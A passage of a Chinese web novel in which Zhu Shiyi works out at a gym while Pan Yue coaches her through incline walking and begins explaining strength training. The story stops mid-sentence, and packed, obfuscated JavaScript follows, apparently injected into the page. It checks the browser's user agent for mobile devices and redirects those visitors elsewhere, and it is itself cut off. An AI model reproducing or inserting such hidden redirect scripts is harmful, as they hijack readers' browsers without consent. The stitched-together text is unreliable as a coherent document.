呢。

“嗯，”潘岳轻动眼神，示意她上机器，“它还有另一个名字。”

朱时宜垂着脑袋，生无可恋爬上机器。

管他啥名字，不都是跑步，神神秘秘。

潘岳抿着笑意，手伸上机器，点了几个按键。

朱时宜立马双手握拳，放在腰间，准备开跑。

......

脚上机器忽然抬起，成一个斜坡，滚带速度不快不慢，她大迈步。

根本不用跑，走路就行。

“爬坡机，”潘岳偏头，微弯眼，“最好坚持的有氧运动。”

他走到一旁机器上：“坡度13，速度4，记住这个参数，慢慢往上加。”

朱时宜放下心。

还有这么善良的运动。

腰侧拳头舒展，手搭在机器扶手上。

掌心骤然微电。她吓得甩开手，像被针锔了下。

“不要搭扶手，”潘岳提醒，“设备检测心率，有静电。”

朱时宜低头，看到扶手上的铁片。

她错开铁片，搭在安全地带。

“手别借力，大腿和跨步发力，”潘岳化身教练要求，“既然来运动，就得让效率最大化。”

朱时宜听劝撒手，一下感受到难度：“不是说爬坡好坚持吗！”

一声低笑蔓延：“可以玩手机。”

朱时宜一怔，侧目。

潘岳眼尾挑起，带着丝笑意，望向她，端起手机，动了动脑袋。

朱时宜迫不及待抓上手机。

边卷边玩，一举两得！

五分钟后。

朱时宜弓着背，手叉在腰间，拖着沉重的脚步，喘着大气。

手机，早给她甩到置物架上。

“深呼吸，”潘岳面不改色，“手机不好玩吗？”

“根本看不进去。”朱时宜深吸口气续命。

“有氧强度低，锻炼心肺功能，有利于消耗脂肪。”潘岳大气不带喘。

“这还强度低？”朱时宜摆摆手，“消耗啥都不好使。”

要她看，这是消耗命数。

她点击停止按钮，啥也不管了：“我必须得歇会儿。”

朱时宜走下机器，一瞬天旋地转，脚像踩着滑板鞋，人像身在外太空。

她稳着脚步，坐上旁边椅子，瞅了眼潘岳。

他目不斜视，面前架着iPad。

“你在看啥好玩儿的？”朱时宜好奇。那么累，看啥能看进去。

“策划案。”

朱时宜一秒闭嘴。

痛上加痛，恐怖如斯。

呼吸随时间流逝，渐渐平稳。

朱时宜膝起条腿，两眼放空，手支着侧脸发呆。

眼神前处就是潘岳。

男人聚精会神，呼吸照常平稳。

额前汗珠，顺着锋利的颌线滑下，至折角处猛地滴落，消失在颈间。

朱时宜摸摸脸颊，烫烫的。

估计是因为运动了五分钟。

太卷了。

她灌了口水，重新迈上机器，自己调好参数。

潘岳眼神扫来，鼓励道：“鼻吸口呼。”

朱时宜点着头闭上嘴，深呼吸，随便点开几个视频刷。

这应该有过十分钟了吧？她瞟向机子计时器。

......三分钟。

“可以了，”潘岳救命般出声，“有氧就热个身，下来吧。”

朱时宜又跟在潘岳屁股后面。

“无氧运动，也叫力量训练，强度高，”潘岳径直蹲下，“力量训练锻炼肌肉与骨骼，对塑性和健康很有好处。”

他调着器械参数：“你医生说的，血糖与胰岛素

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile